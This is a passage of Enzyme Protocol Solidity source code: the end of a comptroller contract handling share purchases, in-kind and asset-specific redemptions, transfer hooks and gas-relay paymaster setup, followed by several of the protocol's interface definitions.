_minSharesQuantity,
hasSharesActionTimelock,
canonicalSender
);
}
/// @notice Buys shares
/// @param _investmentAmount The amount of the fund's denomination asset
/// with which to buy shares
/// @param _minSharesQuantity The minimum quantity of shares to buy
/// @return sharesReceived_ The actual amount of shares received
function buyShares(uint256 _investmentAmount, uint256 _minSharesQuantity)
external
returns (uint256 sharesReceived_)
{
bool hasSharesActionTimelock = getSharesActionTimelock() > 0;
address canonicalSender = __msgSender();
return
__buyShares(
canonicalSender,
_investmentAmount,
_minSharesQuantity,
hasSharesActionTimelock,
canonicalSender
);
}
/// @dev Helper for buy shares logic
function __buyShares(
address _buyer,
uint256 _investmentAmount,
uint256 _minSharesQuantity,
bool _hasSharesActionTimelock,
address _canonicalSender
) private locksReentrance allowsPermissionedVaultAction returns (uint256 sharesReceived_) {
// Enforcing a _minSharesQuantity also validates `_investmentAmount > 0`
// and guarantees the function cannot succeed while minting 0 shares
require(_minSharesQuantity > 0, "__buyShares: _minSharesQuantity must be >0");
address vaultProxyCopy = getVaultProxy();
require(
!_hasSharesActionTimelock || !__hasPendingMigrationOrReconfiguration(vaultProxyCopy),
"__buyShares: Pending migration or reconfiguration"
);
uint256 gav = calcGav();
// Gives Extensions a chance to run logic prior to the minting of bought shares.
// Fees implementing this hook should be aware that
// it might be the case that _investmentAmount != actualInvestmentAmount,
// if the denomination asset charges a transfer fee, for example.
__preBuySharesHook(_buyer, _investmentAmount, gav);
// Pay the protocol fee after running other fees, but before minting new shares
IVault(vaultProxyCopy).payProtocolFee();
if (doesAutoProtocolFeeSharesBuyback()) {
__buyBackMaxProtocolFeeShares(vaultProxyCopy, gav);
}
// Transfer the investment asset to the fund.
// Does not follow the checks-effects-interactions pattern, but it is necessary to
// do this delta balance calculation before calculating shares to mint.
uint256 receivedInvestmentAmount = __transferFromWithReceivedAmount(
getDenominationAsset(),
_canonicalSender,
vaultProxyCopy,
_investmentAmount
);
// Calculate the amount of shares to issue with the investment amount
uint256 sharePrice = __calcGrossShareValue(
gav,
ERC20(vaultProxyCopy).totalSupply(),
10**uint256(ERC20(getDenominationAsset()).decimals())
);
uint256 sharesIssued = receivedInvestmentAmount.mul(SHARES_UNIT).div(sharePrice);
// Mint shares to the buyer
uint256 prevBuyerShares = ERC20(vaultProxyCopy).balanceOf(_buyer);
IVault(vaultProxyCopy).mintShares(_buyer, sharesIssued);
// Gives Extensions a chance to run logic after shares are issued
__postBuySharesHook(_buyer, receivedInvestmentAmount, sharesIssued, gav);
// The number of actual shares received may differ from shares issued due to
// how the PostBuyShares hooks are invoked by Extensions (i.e., fees)
sharesReceived_ = ERC20(vaultProxyCopy).balanceOf(_buyer).sub(prevBuyerShares);
require(
sharesReceived_ >= _minSharesQuantity,
"__buyShares: Shares received < _minSharesQuantity"
);
if (_hasSharesActionTimelock) {
acctToLastSharesBoughtTimestamp[_buyer] = block.timestamp;
}
emit SharesBought(_buyer, receivedInvestmentAmount, sharesIssued, sharesReceived_);
return sharesReceived_;
}
/// @dev Helper for Extension actions immediately prior to issuing shares
function __preBuySharesHook(
address _buyer,
uint256 _investmentAmount,
uint256 _gav
) private {
IFeeManager(getFeeManager()).invokeHook(
IFeeManager.FeeHook.PreBuyShares,
abi.encode(_buyer, _investmentAmount),
_gav
);
}
/// @dev Helper for Extension actions immediately after issuing shares.
/// This could be cleaned up so both Extensions take the same encoded args and handle GAV
/// in the same way, but there is not the obvious need for gas savings of recycling
/// the GAV value for the current policies as there is for the fees.
function __postBuySharesHook(
address _buyer,
uint256 _investmentAmount,
uint256 _sharesIssued,
uint256 _preBuySharesGav
) private {
uint256 gav = _preBuySharesGav.add(_investmentAmount);
IFeeManager(getFeeManager()).invokeHook(
IFeeManager.FeeHook.PostBuyShares,
abi.encode(_buyer, _investmentAmount, _sharesIssued),
gav
);
IPolicyManager(getPolicyManager()).validatePolicies(
address(this),
IPolicyManager.PolicyHook.PostBuyShares,
abi.encode(_buyer, _investmentAmount, _sharesIssued, gav)
);
}
/// @dev Helper to execute ERC20.transferFrom() while calculating the actual amount received
function __transferFromWithReceivedAmount(
address _asset,
address _sender,
address _recipient,
uint256 _transferAmount
) private returns (uint256 receivedAmount_) {
uint256 preTransferRecipientBalance = ERC20(_asset).balanceOf(_recipient);
ERC20(_asset).safeTransferFrom(_sender, _recipient, _transferAmount);
return ERC20(_asset).balanceOf(_recipient).sub(preTransferRecipientBalance);
}
// REDEEM SHARES
/// @notice Redeems a specified amount of the sender's shares for specified asset proportions
/// @param _recipient The account that will receive the specified assets
/// @param _sharesQuantity The quantity of shares to redeem
/// @param _payoutAssets The assets to payout
/// @param _payoutAssetPercentages The percentage of the owed amount to pay out in each asset
/// @return payoutAmounts_ The amount of each asset paid out to the _recipient
/// @dev Redeem all shares of the sender by setting _sharesQuantity to the max uint value.
/// _payoutAssetPercentages must total exactly 100%. In order to specify less and forgo the
/// remaining gav owed on the redeemed shares, pass in address(0) with the percentage to forego.
/// Unlike redeemSharesInKind(), this function allows policies to run and prevent redemption.
function redeemSharesForSpecificAssets(
address _recipient,
uint256 _sharesQuantity,
address[] calldata _payoutAssets,
uint256[] calldata _payoutAssetPercentages
) external locksReentrance returns (uint256[] memory payoutAmounts_) {
address canonicalSender = __msgSender();
require(
_payoutAssets.length == _payoutAssetPercentages.length,
"redeemSharesForSpecificAssets: Unequal arrays"
);
require(
_payoutAssets.isUniqueSet(),
"redeemSharesForSpecificAssets: Duplicate payout asset"
);
uint256 gav = calcGav();
IVault vaultProxyContract = IVault(getVaultProxy());
(uint256 sharesToRedeem, uint256 sharesSupply) = __redeemSharesSetup(
vaultProxyContract,
canonicalSender,
_sharesQuantity,
true,
gav
);
payoutAmounts_ = __payoutSpecifiedAssetPercentages(
vaultProxyContract,
_recipient,
_payoutAssets,
_payoutAssetPercentages,
gav.mul(sharesToRedeem).div(sharesSupply)
);
// Run post-redemption in order to have access to the payoutAmounts
__postRedeemSharesForSpecificAssetsHook(
canonicalSender,
_recipient,
sharesToRedeem,
_payoutAssets,
payoutAmounts_,
gav
);
emit SharesRedeemed(
canonicalSender,
_recipient,
sharesToRedeem,
_payoutAssets,
payoutAmounts_
);
return payoutAmounts_;
}
/// @notice Redeems a specified amount of the sender's shares
/// for a proportionate slice of the vault's assets
/// @param _recipient The account that will receive the proportionate slice of assets
/// @param _sharesQuantity The quantity of shares to redeem
/// @param _additionalAssets Additional (non-tracked) assets to claim
/// @param _assetsToSkip Tracked assets to forfeit
/// @return payoutAssets_ The assets paid out to the _recipient
/// @return payoutAmounts_ The amount of each asset paid out to the _recipient
/// @dev Redeem all shares of the sender by setting _sharesQuantity to the max uint value.
/// Any claim to passed _assetsToSkip will be forfeited entirely. This should generally
/// only be exercised if a bad asset is causing redemption to fail.
/// This function should never fail without a way to bypass the failure, which is assured
/// through two mechanisms:
/// 1. The FeeManager is called with the try/catch pattern to assure that calls to it
/// can never block redemption.
/// 2. If a token fails upon transfer(), that token can be skipped (and its balance forfeited)
/// by explicitly specifying _assetsToSkip.
/// Because of these assurances, shares should always be redeemable, with the exception
/// of the timelock period on shares actions that must be respected.
function redeemSharesInKind(
address _recipient,
uint256 _sharesQuantity,
address[] calldata _additionalAssets,
address[] calldata _assetsToSkip
)
external
locksReentrance
returns (address[] memory payoutAssets_, uint256[] memory payoutAmounts_)
{
address canonicalSender = __msgSender();
require(
_additionalAssets.isUniqueSet(),
"redeemSharesInKind: _additionalAssets contains duplicates"
);
require(
_assetsToSkip.isUniqueSet(),
"redeemSharesInKind: _assetsToSkip contains duplicates"
);
// Parse the payout assets given optional params to add or skip assets.
// Note that there is no validation that the _additionalAssets are known assets to
// the protocol. This means that the redeemer could specify a malicious asset,
// but since all state-changing, user-callable functions on this contract share the
// non-reentrant modifier, there is nowhere to perform a reentrancy attack.
payoutAssets_ = __parseRedemptionPayoutAssets(
IVault(vaultProxy).getTrackedAssets(),
_additionalAssets,
_assetsToSkip
);
// If protocol fee shares will be auto-bought back, attempt to calculate GAV to pass into fees,
// as we will require GAV later during the buyback.
uint256 gavOrZero;
if (doesAutoProtocolFeeSharesBuyback()) {
// Since GAV calculation can fail with a revering price or a no-longer-supported asset,
// we must try/catch GAV calculation to ensure that in-kind redemption can still succeed
try this.calcGav() returns (uint256 gav) {
gavOrZero = gav;
} catch {
emit RedeemSharesInKindCalcGavFailed();
}
}
(uint256 sharesToRedeem, uint256 sharesSupply) = __redeemSharesSetup(
IVault(vaultProxy),
canonicalSender,
_sharesQuantity,
false,
gavOrZero
);
// Calculate and transfer payout asset amounts due to _recipient
payoutAmounts_ = new uint256[](payoutAssets_.length);
for (uint256 i; i < payoutAssets_.length; i++) {
payoutAmounts_[i] = ERC20(payoutAssets_[i])
.balanceOf(vaultProxy)
.mul(sharesToRedeem)
.div(sharesSupply);
// Transfer payout asset to _recipient
if (payoutAmounts_[i] > 0) {
IVault(vaultProxy).withdrawAssetTo(
payoutAssets_[i],
_recipient,
payoutAmounts_[i]
);
}
}
emit SharesRedeemed(
canonicalSender,
_recipient,
sharesToRedeem,
payoutAssets_,
payoutAmounts_
);
return (payoutAssets_, payoutAmounts_);
}
/// @dev Helper to parse an array of payout assets during redemption, taking into account
/// additional assets and assets to skip. _assetsToSkip ignores _additionalAssets.
/// All input arrays are assumed to be unique.
function __parseRedemptionPayoutAssets(
address[] memory _trackedAssets,
address[] memory _additionalAssets,
address[] memory _assetsToSkip
) private pure returns (address[] memory payoutAssets_) {
address[] memory trackedAssetsToPayout = _trackedAssets.removeItems(_assetsToSkip);
if (_additionalAssets.length == 0) {
return trackedAssetsToPayout;
}
// Add additional assets. Duplicates of trackedAssets are ignored.
bool[] memory indexesToAdd = new bool[](_additionalAssets.length);
uint256 additionalItemsCount;
for (uint256 i; i < _additionalAssets.length; i++) {
if (!trackedAssetsToPayout.contains(_additionalAssets[i])) {
indexesToAdd[i] = true;
additionalItemsCount++;
}
}
if (additionalItemsCount == 0) {
return trackedAssetsToPayout;
}
payoutAssets_ = new address[](trackedAssetsToPayout.length.add(additionalItemsCount));
for (uint256 i; i < trackedAssetsToPayout.length; i++) {
payoutAssets_[i] = trackedAssetsToPayout[i];
}
uint256 payoutAssetsIndex = trackedAssetsToPayout.length;
for (uint256 i; i < _additionalAssets.length; i++) {
if (indexesToAdd[i]) {
payoutAssets_[payoutAssetsIndex] = _additionalAssets[i];
payoutAssetsIndex++;
}
}
return payoutAssets_;
}
/// @dev Helper to payout specified asset percentages during redeemSharesForSpecificAssets()
function __payoutSpecifiedAssetPercentages(
IVault vaultProxyContract,
address _recipient,
address[] calldata _payoutAssets,
uint256[] calldata _payoutAssetPercentages,
uint256 _owedGav
) private returns (uint256[] memory payoutAmounts_) {
address denominationAssetCopy = getDenominationAsset();
uint256 percentagesTotal;
payoutAmounts_ = new uint256[](_payoutAssets.length);
for (uint256 i; i < _payoutAssets.length; i++) {
percentagesTotal = percentagesTotal.add(_payoutAssetPercentages[i]);
// Used to explicitly specify less than 100% in total _payoutAssetPercentages
if (_payoutAssets[i] == SPECIFIC_ASSET_REDEMPTION_DUMMY_FORFEIT_ADDRESS) {
continue;
}
payoutAmounts_[i] = IValueInterpreter(getValueInterpreter()).calcCanonicalAssetValue(
denominationAssetCopy,
_owedGav.mul(_payoutAssetPercentages[i]).div(ONE_HUNDRED_PERCENT),
_payoutAssets[i]
);
// Guards against corner case of primitive-to-derivative asset conversion that floors to 0,
// or redeeming a very low shares amount and/or percentage where asset value owed is 0
require(
payoutAmounts_[i] > 0,
"__payoutSpecifiedAssetPercentages: Zero amount for asset"
);
vaultProxyContract.withdrawAssetTo(_payoutAssets[i], _recipient, payoutAmounts_[i]);
}
require(
percentagesTotal == ONE_HUNDRED_PERCENT,
"__payoutSpecifiedAssetPercentages: Percents must total 100%"
);
return payoutAmounts_;
}
/// @dev Helper for system actions immediately prior to redeeming shares.
/// Policy validation is not currently allowed on redemption, to ensure continuous redeemability.
function __preRedeemSharesHook(
address _redeemer,
uint256 _sharesToRedeem,
bool _forSpecifiedAssets,
uint256 _gavIfCalculated
) private allowsPermissionedVaultAction {
try
IFeeManager(getFeeManager()).invokeHook(
IFeeManager.FeeHook.PreRedeemShares,
abi.encode(_redeemer, _sharesToRedeem, _forSpecifiedAssets),
_gavIfCalculated
)
{} catch (bytes memory reason) {
emit PreRedeemSharesHookFailed(reason, _redeemer, _sharesToRedeem);
}
}
/// @dev Helper to run policy validation after other logic for redeeming shares for specific assets.
/// Avoids stack-too-deep error.
function __postRedeemSharesForSpecificAssetsHook(
address _redeemer,
address _recipient,
uint256 _sharesToRedeemPostFees,
address[] memory _assets,
uint256[] memory _assetAmounts,
uint256 _gavPreRedeem
) private {
IPolicyManager(getPolicyManager()).validatePolicies(
address(this),
IPolicyManager.PolicyHook.RedeemSharesForSpecificAssets,
abi.encode(
_redeemer,
_recipient,
_sharesToRedeemPostFees,
_assets,
_assetAmounts,
_gavPreRedeem
)
);
}
/// @dev Helper to execute common pre-shares redemption logic
function __redeemSharesSetup(
IVault vaultProxyContract,
address _redeemer,
uint256 _sharesQuantityInput,
bool _forSpecifiedAssets,
uint256 _gavIfCalculated
) private returns (uint256 sharesToRedeem_, uint256 sharesSupply_) {
__assertSharesActionNotTimelocked(address(vaultProxyContract), _redeemer);
ERC20 sharesContract = ERC20(address(vaultProxyContract));
uint256 preFeesRedeemerSharesBalance = sharesContract.balanceOf(_redeemer);
if (_sharesQuantityInput == type(uint256).max) {
sharesToRedeem_ = preFeesRedeemerSharesBalance;
} else {
sharesToRedeem_ = _sharesQuantityInput;
}
require(sharesToRedeem_ > 0, "__redeemSharesSetup: No shares to redeem");
__preRedeemSharesHook(_redeemer, sharesToRedeem_, _forSpecifiedAssets, _gavIfCalculated);
// Update the redemption amount if fees were charged (or accrued) to the redeemer
uint256 postFeesRedeemerSharesBalance = sharesContract.balanceOf(_redeemer);
if (_sharesQuantityInput == type(uint256).max) {
sharesToRedeem_ = postFeesRedeemerSharesBalance;
} else if (postFeesRedeemerSharesBalance < preFeesRedeemerSharesBalance) {
sharesToRedeem_ = sharesToRedeem_.sub(
preFeesRedeemerSharesBalance.sub(postFeesRedeemerSharesBalance)
);
}
// Pay the protocol fee after running other fees, but before burning shares
vaultProxyContract.payProtocolFee();
if (_gavIfCalculated > 0 && doesAutoProtocolFeeSharesBuyback()) {
__buyBackMaxProtocolFeeShares(address(vaultProxyContract), _gavIfCalculated);
}
// Destroy the shares after getting the shares supply
sharesSupply_ = sharesContract.totalSupply();
vaultProxyContract.burnShares(_redeemer, sharesToRedeem_);
return (sharesToRedeem_, sharesSupply_);
}
// TRANSFER SHARES
/// @notice Runs logic prior to transferring shares that are not freely transferable
/// @param _sender The sender of the shares
/// @param _recipient The recipient of the shares
/// @param _amount The amount of shares
function preTransferSharesHook(
address _sender,
address _recipient,
uint256 _amount
) external override {
address vaultProxyCopy = getVaultProxy();
require(msg.sender == vaultProxyCopy, "preTransferSharesHook: Only VaultProxy callable");
__assertSharesActionNotTimelocked(vaultProxyCopy, _sender);
IPolicyManager(getPolicyManager()).validatePolicies(
address(this),
IPolicyManager.PolicyHook.PreTransferShares,
abi.encode(_sender, _recipient, _amount)
);
}
/// @notice Runs logic prior to transferring shares that are freely transferable
/// @param _sender The sender of the shares
/// @dev No need to validate caller, as policies are not run
function preTransferSharesHookFreelyTransferable(address _sender) external view override {
__assertSharesActionNotTimelocked(getVaultProxy(), _sender);
}
/////////////////
// GAS RELAYER //
/////////////////
/// @notice Deploys a paymaster contract and deposits WETH, enabling gas relaying
function deployGasRelayPaymaster() external onlyOwnerNotRelayable {
require(
getGasRelayPaymaster() == address(0),
"deployGasRelayPaymaster: Paymaster already deployed"
);
bytes memory constructData = abi.encodeWithSignature("init(address)", getVaultProxy());
address paymaster = IBeaconProxyFactory(getGasRelayPaymasterFactory()).deployProxy(
constructData
);
__setGasRelayPaymaster(paymaster);
__depositToGasRelayPaymaster(paymaster);
}
/// @notice Tops up the gas relay paymaster deposit
function depositToGasRelayPaymaster() external onlyOwner {
__depositToGasRelayPaymaster(getGasRelayPaymaster());
}
/// @notice Pull WETH from vault to gas relay paymaster
/// @param _amount Amount of the WETH to pull from the vault
function pullWethForGasRelayer(uint256 _amount) external override onlyGasRelayPaymaster {
IVault(getVaultProxy()).withdrawAssetTo(getWethToken(), getGasRelayPaymaster(), _amount);
}
/// @notice Sets the gasRelayPaymaster variable value
/// @param _nextGasRelayPaymaster The next gasRelayPaymaster value
function setGasRelayPaymaster(address _nextGasRelayPaymaster)
external
override
onlyFundDeployer
{
__setGasRelayPaymaster(_nextGasRelayPaymaster);
}
/// @notice Removes the gas relay paymaster, withdrawing the remaining WETH balance
/// and disabling gas relaying
function shutdownGasRelayPaymaster() external onlyOwnerNotRelayable {
IGasRelayPaymaster(gasRelayPaymaster).withdrawBalance();
IVault(vaultProxy).addTrackedAsset(getWethToken());
delete gasRelayPaymaster;
emit GasRelayPaymasterSet(address(0));
}
/// @dev Helper to deposit to the gas relay paymaster
function __depositToGasRelayPaymaster(address _paymaster) private {
IGasRelayPaymaster(_paymaster).deposit();
}
/// @dev Helper to set the next `gasRelayPaymaster` variable
function __setGasRelayPaymaster(address _nextGasRelayPaymaster) private {
gasRelayPaymaster = _nextGasRelayPaymaster;
emit GasRelayPaymasterSet(_nextGasRelayPaymaster);
}
///////////////////
// STATE GETTERS //
///////////////////
// LIB IMMUTABLES
/// @notice Gets the `DISPATCHER` variable
/// @return dispatcher_ The `DISPATCHER` variable value
function getDispatcher() public view returns (address dispatcher_) {
return DISPATCHER;
}
/// @notice Gets the `EXTERNAL_POSITION_MANAGER` variable
/// @return externalPositionManager_ The `EXTERNAL_POSITION_MANAGER` variable value
function getExternalPositionManager()
public
view
override
returns (address externalPositionManager_)
{
return EXTERNAL_POSITION_MANAGER;
}
/// @notice Gets the `FEE_MANAGER` variable
/// @return feeManager_ The `FEE_MANAGER` variable value
function getFeeManager() public view override returns (address feeManager_) {
return FEE_MANAGER;
}
/// @notice Gets the `FUND_DEPLOYER` variable
/// @return fundDeployer_ The `FUND_DEPLOYER` variable value
function getFundDeployer() public view override returns (address fundDeployer_) {
return FUND_DEPLOYER;
}
/// @notice Gets the `INTEGRATION_MANAGER` variable
/// @return integrationManager_ The `INTEGRATION_MANAGER` variable value
function getIntegrationManager() public view override returns (address integrationManager_) {
return INTEGRATION_MANAGER;
}
/// @notice Gets the `MLN_TOKEN` variable
/// @return mlnToken_ The `MLN_TOKEN` variable value
function getMlnToken() public view returns (address mlnToken_) {
return MLN_TOKEN;
}
/// @notice Gets the `POLICY_MANAGER` variable
/// @return policyManager_ The `POLICY_MANAGER` variable value
function getPolicyManager() public view override returns (address policyManager_) {
return POLICY_MANAGER;
}
/// @notice Gets the `PROTOCOL_FEE_RESERVE` variable
/// @return protocolFeeReserve_ The `PROTOCOL_FEE_RESERVE` variable value
function getProtocolFeeReserve() public view returns (address protocolFeeReserve_) {
return PROTOCOL_FEE_RESERVE;
}
/// @notice Gets the `VALUE_INTERPRETER` variable
/// @return valueInterpreter_ The `VALUE_INTERPRETER` variable value
function getValueInterpreter() public view returns (address valueInterpreter_) {
return VALUE_INTERPRETER;
}
/// @notice Gets the `WETH_TOKEN` variable
/// @return wethToken_ The `WETH_TOKEN` variable value
function getWethToken() public view returns (address wethToken_) {
return WETH_TOKEN;
}
// PROXY STORAGE
/// @notice Checks if collected protocol fee shares are automatically bought back
/// while buying or redeeming shares
/// @return doesAutoBuyback_ True if shares are automatically bought back
function doesAutoProtocolFeeSharesBuyback() public view returns (bool doesAutoBuyback_) {
return autoProtocolFeeSharesBuyback;
}
/// @notice Gets the `denominationAsset` variable
/// @return denominationAsset_ The `denominationAsset` variable value
function getDenominationAsset() public view override returns (address denominationAsset_) {
return denominationAsset;
}
/// @notice Gets the `gasRelayPaymaster` variable
/// @return gasRelayPaymaster_ The `gasRelayPaymaster` variable value
function getGasRelayPaymaster() public view override returns (address gasRelayPaymaster_) {
return gasRelayPaymaster;
}
/// @notice Gets the timestamp of the last time shares were bought for a given account
/// @param _who The account for which to get the timestamp
/// @return lastSharesBoughtTimestamp_ The timestamp of the last shares bought
function getLastSharesBoughtTimestampForAccount(address _who)
public
view
returns (uint256 lastSharesBoughtTimestamp_)
{
return acctToLastSharesBoughtTimestamp[_who];
}
/// @notice Gets the `sharesActionTimelock` variable
/// @return sharesActionTimelock_ The `sharesActionTimelock` variable value
function getSharesActionTimelock() public view returns (uint256 sharesActionTimelock_) {
return sharesActionTimelock;
}
/// @notice Gets the `vaultProxy` variable
/// @return vaultProxy_ The `vaultProxy` variable value
function getVaultProxy() public view override returns (address vaultProxy_) {
return vaultProxy;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../vault/IVault.sol";
/// @title IComptroller Interface
/// @author Enzyme Council <[email protected]>
interface IComptroller {
function activate(bool) external;
function calcGav() external returns (uint256);
function calcGrossShareValue() external returns (uint256);
function callOnExtension(
address,
uint256,
bytes calldata
) external;
function destructActivated(uint256, uint256) external;
function destructUnactivated() external;
function getDenominationAsset() external view returns (address);
function getExternalPositionManager() external view returns (address);
function getFeeManager() external view returns (address);
function getFundDeployer() external view returns (address);
function getGasRelayPaymaster() external view returns (address);
function getIntegrationManager() external view returns (address);
function getPolicyManager() external view returns (address);
function getVaultProxy() external view returns (address);
function init(address, uint256) external;
function permissionedVaultAction(IVault.VaultAction, bytes calldata) external;
function preTransferSharesHook(
address,
address,
uint256
) external;
function preTransferSharesHookFreelyTransferable(address) external view;
function setGasRelayPaymaster(address) external;
function setVaultProxy(address) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../../../persistent/vault/interfaces/IExternalPositionVault.sol";
import "../../../../persistent/vault/interfaces/IFreelyTransferableSharesVault.sol";
import "../../../../persistent/vault/interfaces/IMigratableVault.sol";
/// @title IVault Interface
/// @author Enzyme Council <[email protected]>
interface IVault is IMigratableVault, IFreelyTransferableSharesVault, IExternalPositionVault {
enum VaultAction {
None,
// Shares management
BurnShares,
MintShares,
TransferShares,
// Asset management
AddTrackedAsset,
ApproveAssetSpender,
RemoveTrackedAsset,
WithdrawAssetTo,
// External position management
AddExternalPosition,
CallOnExternalPosition,
RemoveExternalPosition
}
function addTrackedAsset(address) external;
function burnShares(address, uint256) external;
function buyBackProtocolFeeShares(
uint256,
uint256,
uint256
) external;
function callOnContract(address, bytes calldata) external returns (bytes memory);
function canManageAssets(address) external view returns (bool);
function canRelayCalls(address) external view returns (bool);
function getAccessor() external view returns (address);
function getOwner() external view returns (address);
function getActiveExternalPositions() external view returns (address[] memory);
function getTrackedAssets() external view returns (address[] memory);
function isActiveExternalPosition(address) external view returns (bool);
function isTrackedAsset(address) external view returns (bool);
function mintShares(address, uint256) external;
function payProtocolFee() external;
function receiveValidatedVaultAction(VaultAction, bytes calldata) external;
function setAccessorForFundReconfiguration(address) external;
function setSymbol(string calldata) external;
function transferShares(
address,
address,
uint256
) external;
function withdrawAssetTo(
address,
address,
uint256
) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IExtension Interface
/// @author Enzyme Council <[email protected]>
/// @notice Interface for all extensions
interface IExtension {
function activateForFund(bool _isMigration) external;
function deactivateForFund() external;
function receiveCallFromComptroller(
address _caller,
uint256 _actionId,
bytes calldata _callArgs
) external;
function setConfigForFund(
address _comptrollerProxy,
address _vaultProxy,
bytes calldata _configData
) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
/// @title FeeManager Interface
/// @author Enzyme Council <[email protected]>
/// @notice Interface for the FeeManager
interface IFeeManager {
// No fees for the current release are implemented post-redeemShares
enum FeeHook {Continuous, PreBuyShares, PostBuyShares, PreRedeemShares}
enum SettlementType {None, Direct, Mint, Burn, MintSharesOutstanding, BurnSharesOutstanding}
function invokeHook(
FeeHook,
bytes calldata,
uint256
) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
/// @title PolicyManager Interface
/// @author Enzyme Council <[email protected]>
/// @notice Interface for the PolicyManager
interface IPolicyManager {
// When updating PolicyHook, also update these functions in PolicyManager:
// 1. __getAllPolicyHooks()
// 2. __policyHookRestrictsCurrentInvestorActions()
enum PolicyHook {
PostBuyShares,
PostCallOnIntegration,
PreTransferShares,
RedeemSharesForSpecificAssets,
AddTrackedAssets,
RemoveTrackedAssets,
CreateExternalPosition,
PostCallOnExternalPosition,
RemoveExternalPosition,
ReactivateExternalPosition
}
function validatePolicies(
address,
PolicyHook,
bytes calldata
) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
import "../../utils/beacon-proxy/IBeaconProxyFactory.sol";
import "./IGasRelayPaymaster.sol";
pragma solidity 0.6.12;
/// @title GasRelayRecipientMixin Contract
/// @author Enzyme Council <[email protected]>
/// @notice A mixin that enables receiving GSN-relayed calls
/// @dev IMPORTANT: Do not use storage var in this contract,
/// unless it is no longer inherited by the VaultLib
abstract contract GasRelayRecipientMixin {
address internal immutable GAS_RELAY_PAYMASTER_FACTORY;
constructor(address _gasRelayPaymasterFactory) internal {
GAS_RELAY_PAYMASTER_FACTORY = _gasRelayPaymasterFactory;
}
/// @dev Helper to parse the canonical sender of a tx based on whether it has been relayed
function __msgSender() internal view returns (address payable canonicalSender_) {
if (msg.data.length >= 24 && msg.sender == getGasRelayTrustedForwarder()) {
assembly {
canonicalSender_ := shr(96, calldataload(sub(calldatasize(), 20)))
}
return canonicalSender_;
}
return msg.sender;
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `GAS_RELAY_PAYMASTER_FACTORY` variable
/// @return gasRelayPaymasterFactory_ The `GAS_RELAY_PAYMASTER_FACTORY` variable value
function getGasRelayPaymasterFactory()
public
view
returns (address gasRelayPaymasterFactory_)
{
return GAS_RELAY_PAYMASTER_FACTORY;
}
/// @notice Gets the trusted forwarder for GSN relaying
/// @return trustedForwarder_ The trusted forwarder
function getGasRelayTrustedForwarder() public view returns (address trustedForwarder_) {
return
IGasRelayPaymaster(
IBeaconProxyFactory(getGasRelayPaymasterFactory()).getCanonicalLib()
)
.trustedForwarder();
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "../../interfaces/IGsnPaymaster.sol";
/// @title IGasRelayPaymaster Interface
/// @author Enzyme Council <[email protected]>
interface IGasRelayPaymaster is IGsnPaymaster {
function deposit() external;
function withdrawBalance() external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IGasRelayPaymasterDepositor Interface
/// @author Enzyme Council <[email protected]>
interface IGasRelayPaymasterDepositor {
function pullWethForGasRelayer(uint256) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IValueInterpreter interface
/// @author Enzyme Council <[email protected]>
/// @notice Interface for ValueInterpreter
interface IValueInterpreter {
function calcCanonicalAssetValue(
address,
uint256,
address
) external returns (uint256);
function calcCanonicalAssetsTotalValue(
address[] calldata,
uint256[] calldata,
address
) external returns (uint256);
function isSupportedAsset(address) external view returns (bool);
function isSupportedDerivativeAsset(address) external view returns (bool);
function isSupportedPrimitiveAsset(address) external view returns (bool);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IGsnForwarder interface
/// @author Enzyme Council <[email protected]>
interface IGsnForwarder {
struct ForwardRequest {
address from;
address to;
uint256 value;
uint256 gas;
uint256 nonce;
bytes data;
uint256 validUntil;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "./IGsnTypes.sol";
/// @title IGsnPaymaster interface
/// @author Enzyme Council <[email protected]>
interface IGsnPaymaster {
struct GasAndDataLimits {
uint256 acceptanceBudget;
uint256 preRelayedCallGasLimit;
uint256 postRelayedCallGasLimit;
uint256 calldataSizeLimit;
}
function getGasAndDataLimits() external view returns (GasAndDataLimits memory limits);
function getHubAddr() external view returns (address);
function getRelayHubDeposit() external view returns (uint256);
function preRelayedCall(
IGsnTypes.RelayRequest calldata relayRequest,
bytes calldata signature,
bytes calldata approvalData,
uint256 maxPossibleGas
) external returns (bytes memory context, bool rejectOnRecipientRevert);
